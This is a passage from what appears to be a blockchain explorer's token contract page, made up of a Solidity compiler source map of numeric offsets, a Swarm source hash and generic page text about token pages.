745:18;;;4738:62;4836:10;4816:18;;;4809:38;4864:19;;7774:116:0;;;;;;;;;7901:57;7910:6;4182:10;7932:25;7951:6;7932:16;:25;:::i;:::-;7901:8;:57::i;:::-;-1:-1:-1;7978:4:0;;7499:491;-1:-1:-1;;;;7499:491:0:o;8292:297::-;4182:10;8407:4;8501:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;8501:34:0;;;;;;;;;;8407:4;;8429:130;;8479:7;;8501:47;;8538:10;;8501:47;:::i;4977:131::-;4886:10;;-1:-1:-1;;;;;4886:10:0;4182;4886:26;4878:71;;;;-1:-1:-1;;;4878:71:0;;5548:2:1;4878:71:0;;;5530:21:1;;;5567:18;;;5560:30;5626:34;5606:18;;;5599:62;5678:18;;4878:71:0;5346:356:1;4878:71:0;5053:5:::1;::::0;5045:26:::1;::::0;5068:1:::1;::::0;-1:-1:-1;;;;;5053:5:0::1;::::0;5045:26:::1;::::0;5068:1;;5045:26:::1;5082:5;:18:::0;;;::::1;::::0;;4977:131::o;5743:104::-;5799:13;5832:7;5825:14;;;;;:::i;8102:182::-;4886:10;;-1:-1:-1;;;;;4886:10:0;4182;4886:26;4878:71;;;;-1:-1:-1;;;4878:71:0;;5548:2:1;4878:71:0;;;5530:21:1;;;5567:18;;;5560:30;5626:34;5606:18;;;5599:62;5678:18;;4878:71:0;5346:356:1;4878:71:0;8186:9:::1;8181:96;8205:7;:14;8201:1;:18;8181:96;;;8241:24;8254:7;8262:1;8254:10;;;;;;;;:::i;:::-;;;;;;;8241:12;:24::i;:::-;8221:3;;8181:96;;;;8102:182:::0;:::o;8597:446::-;4182:10;8717:4;8766:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;8766:34:0;;;;;;;;;;8833:35;;;;8811:122;;;;-1:-1:-1;;;8811:122:0;;6098:2:1;8811:122:0;;;6080:21:1;6137:2;6117:18;;;6110:30;6176:34;6156:18;;;6149:62;6247:7;6227:18;;;6220:35;6272:19;;8811:122:0;5896:401:1;8811:122:0;8944:67;4182:10;8967:7;8976:34;8995:15;8976:16;:34;:::i;8944:67::-;-1:-1:-1;9031:4:0;;8597:446;-1:-1:-1;;;8597:446:0:o;6373:691::-;6478:4;6505:10;;-1:-1:-1;;;;;6505:10:0;4182;6505:26;6504:47;;;;-1:-1:-1;6537:5:0;;;;:13;;:5;:13;6504:47;6500:557;;;6568:42;4182:10;6578:12;6592:9;6603:6;6568:9;:42::i;:::-;-1:-1:-1;6625:5:0;:13;;-1:-1:-1;;6625:13:0;;;;6653:11;;6500:557;6687:10;;-1:-1:-1;;;;;6687:10:0;4182;6687:26;6686:48;;;;-1:-1:-1;6719:5:0;;;;:14;6686:48;6682:375;;;6766:12;;:24;;6783:6;6766:16;:24::i;:::-;6751:12;:39;-1:-1:-1;;;;;6828:20:0;;;;;;:9;:20;;;;;;:32;;6853:6;6828:24;:32::i;:::-;-1:-1:-1;;;;;6805:20:0;;;;;;:9;:20;;;;;;;:55;;;;6880:38;;6805:20;;6880:38;;;;6911:6;1424:25:1;;1412:2;1397:18;;1278:177;6880:38:0;;;;;;;;-1:-1:-1;6940:4:0;6933:11;;6682:375;6977:42;4182:10;6987:12;4102:98;6977:42;-1:-1:-1;7041:4:0;7034:11;;5855:108;4886:10;;-1:-1:-1;;;;;4886:10:0;4182;4886:26;4878:71;;;;-1:-1:-1;;;4878:71:0;;5548:2:1;4878:71:0;;;5530:21:1;;;5567:18;;;5560:30;5626:34;5606:18;;;5599:62;5678:18;;4878:71:0;5346:356:1;4878:71:0;5930:6:::1;:25:::0;;;::::1;-1:-1:-1::0;;;;;5930:25:0;;;::::1;::::0;;;::::1;::::0;;5855:108::o;10484:380::-;-1:-1:-1;;;;;10620:19:0;;10612:68;;;;-1:-1:-1;;;10612:68:0;;6504:2:1;10612:68:0;;;6486:21:1;6543:2;6523:18;;;6516:30;6582:34;6562:18;;;6555:62;6653:6;6633:18;;;6626:34;6677:19;;10612:68:0;6302:400:1;10612:68:0;-1:-1:-1;;;;;10699:21:0;;10691:68;;;;-1:-1:-1;;;10691:68:0;;6909:2:1;10691:68:0;;;6891:21:1;6948:2;6928:18;;;6921:30;6987:34;6967:18;;;6960:62;7058:4;7038:18;;;7031:32;7080:19;;10691:68:0;6707:398:1;10691:68:0;-1:-1:-1;;;;;10772:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10824:32;;1424:25:1;;;10824:32:0;;1397:18:1;10824:32:0;;;;;;;10484:380;;;:::o;9051:697::-;-1:-1:-1;;;;;9191:20:0;;9183:70;;;;-1:-1:-1;;;9183:70:0;;7312:2:1;9183:70:0;;;7294:21:1;7351:2;7331:18;;;7324:30;7390:34;7370:18;;;7363:62;7461:7;7441:18;;;7434:35;7486:19;;9183:70:0;7110:401:1;9183:70:0;-1:-1:-1;;;;;9272:23:0;;9264:71;;;;-1:-1:-1;;;9264:71:0;;7718:2:1;9264:71:0;;;7700:21:1;7757:2;7737:18;;;7730:30;7796:34;7776:18;;;7769:62;7867:5;7847:18;;;7840:33;7890:19;;9264:71:0;7516:399:1;9264:71:0;9363:6;;-1:-1:-1;;;;;9363:6:0;;;9350:19;;;;9346:76;;-1:-1:-1;;;;;9394:15:0;;;;;;:7;:15;;;;;;;;9386:24;;;;;;-1:-1:-1;;;;;9456:17:0;;9432:21;9456:17;;;:9;:17;;;;;;9506:23;;;;9484:111;;;;-1:-1:-1;;;9484:111:0;;8122:2:1;9484:111:0;;;8104:21:1;8161:2;8141:18;;;8134:30;8200:34;8180:18;;;8173:62;8271:8;8251:18;;;8244:36;8297:19;;9484:111:0;7920:402:1;9484:111:0;9626:22;9642:6;9626:13;:22;:::i;:::-;-1:-1:-1;;;;;9606:17:0;;;;;;;:9;:17;;;;;;:42;;;;9659:20;;;;;;;;:30;;9683:6;;9606:17;9659:30;;9683:6;;9659:30;:::i;:::-;;;;;;;;9722:9;-1:-1:-1;;;;;9705:35:0;9714:6;-1:-1:-1;;;;;9705:35:0;;9733:6;9705:35;;;;1424:25:1;;1412:2;1397:18;;1278:177;9705:35:0;;;;;;;;9172:576;9051:697;;;:::o;7998:96::-;4886:10;;-1:-1:-1;;;;;4886:10:0;4182;4886:26;4878:71;;;;-1:-1:-1;;;4878:71:0;;5548:2:1;4878:71:0;;;5530:21:1;;;5567:18;;;5560:30;5626:34;5606:18;;;5599:62;5678:18;;4878:71:0;5346:356:1;4878:71:0;-1:-1:-1;;;;;8064:15:0::1;;::::0;;;:7:::1;:15;::::0;;;;:22;;-1:-1:-1;;8064:22:0::1;8082:4;8064:22;::::0;;7998:96::o;1915:181::-;1973:7;;2005:5;2009:1;2005;:5;:::i;:::-;1993:17;;2034:1;2029;:6;;2021:46;;;;-1:-1:-1;;;2021:46:0;;8529:2:1;2021:46:0;;;8511:21:1;8568:2;8548:18;;;8541:30;8607:29;8587:18;;;8580:57;8654:18;;2021:46:0;8327:351:1;2021:46:0;2087:1;1915:181;-1:-1:-1;;;1915:181:0:o;14:607:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;612:2;-1:-1:-1;;537:2:1;529:6;525:15;521:88;510:9;506:104;502:113;494:121;;;;14:607;;;;:::o;626:196::-;694:20;;-1:-1:-1;;;;;743:54:1;;733:65;;723:93;;812:1;809;802:12;723:93;626:196;;;:::o;827:254::-;895:6;903;956:2;944:9;935:7;931:23;927:32;924:52;;;972:1;969;962:12;924:52;995:29;1014:9;995:29;:::i;:::-;985:39;1071:2;1056:18;;;;1043:32;;-1:-1:-1;;;827:254:1:o;1460:328::-;1537:6;1545;1553;1606:2;1594:9;1585:7;1581:23;1577:32;1574:52;;;1622:1;1619;1612:12;1574:52;1645:29;1664:9;1645:29;:::i;:::-;1635:39;;1693:38;1727:2;1716:9;1712:18;1693:38;:::i;:::-;1683:48;;1778:2;1767:9;1763:18;1750:32;1740:42;;1460:328;;;;;:::o;1982:186::-;2041:6;2094:2;2082:9;2073:7;2069:23;2065:32;2062:52;;;2110:1;2107;2100:12;2062:52;2133:29;2152:9;2133:29;:::i;2404:184::-;-1:-1:-1;;;2453:1:1;2446:88;2553:4;2550:1;2543:15;2577:4;2574:1;2567:15;2593:1180;2677:6;2708:2;2751;2739:9;2730:7;2726:23;2722:32;2719:52;;;2767:1;2764;2757:12;2719:52;2807:9;2794:23;2836:18;2877:2;2869:6;2866:14;2863:34;;;2893:1;2890;2883:12;2863:34;2931:6;2920:9;2916:22;2906:32;;2976:7;2969:4;2965:2;2961:13;2957:27;2947:55;;2998:1;2995;2988:12;2947:55;3034:2;3021:16;3056:2;3052;3049:10;3046:36;;;3062:18;;:::i;:::-;3108:2;3105:1;3101:10;3140:2;3134:9;-1:-1:-1;;3194:2:1;3190;3186:11;3182:84;3174:6;3170:97;3317:6;3305:10;3302:22;3297:2;3285:10;3282:18;3279:46;3276:72;;;3328:18;;:::i;:::-;3364:2;3357:22;3414:18;;;3448:15;;;;-1:-1:-1;3490:11:1;;;3486:20;;;3518:19;;;3515:39;;;3550:1;3547;3540:12;3515:39;3574:11;;;;3594:148;3610:6;3605:3;3602:15;3594:148;;;3676:23;3695:3;3676:23;:::i;:::-;3664:36;;3627:12;;;;3720;;;;3594:148;;;3761:6;2593:1180;-1:-1:-1;;;;;;;;2593:1180:1:o;3778:260::-;3846:6;3854;3907:2;3895:9;3886:7;3882:23;3878:32;3875:52;;;3923:1;3920;3913:12;3875:52;3946:29;3965:9;3946:29;:::i;:::-;3936:39;;3994:38;4028:2;4017:9;4013:18;3994:38;:::i;:::-;3984:48;;3778:260;;;;;:::o;4043:437::-;4122:1;4118:12;;;;4165;;;4186:61;;4240:4;4232:6;4228:17;4218:27;;4186:61;4293:2;4285:6;4282:14;4262:18;4259:38;4256:218;;-1:-1:-1;;;4327:1:1;4320:88;4431:4;4428:1;4421:15;4459:4;4456:1;4449:15;4256:218;;4043:437;;;:::o;4894:184::-;-1:-1:-1;;;4943:1:1;4936:88;5043:4;5040:1;5033:15;5067:4;5064:1;5057:15;5083:128;5150:9;;;5171:11;;;5168:37;;;5185:18;;:::i;5216:125::-;5281:9;;;5302:10;;;5299:36;;;5315:18;;:::i;5707:184::-;-1:-1:-1;;;5756:1:1;5749:88;5856:4;5853:1;5846:15;5880:4;5877:1;5870:15

Swarm Source

ipfs://d2b1bcc6babb8d82d134e49c4dbd5a83494ac11879bd4290109dfaf4f8d29ebc
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.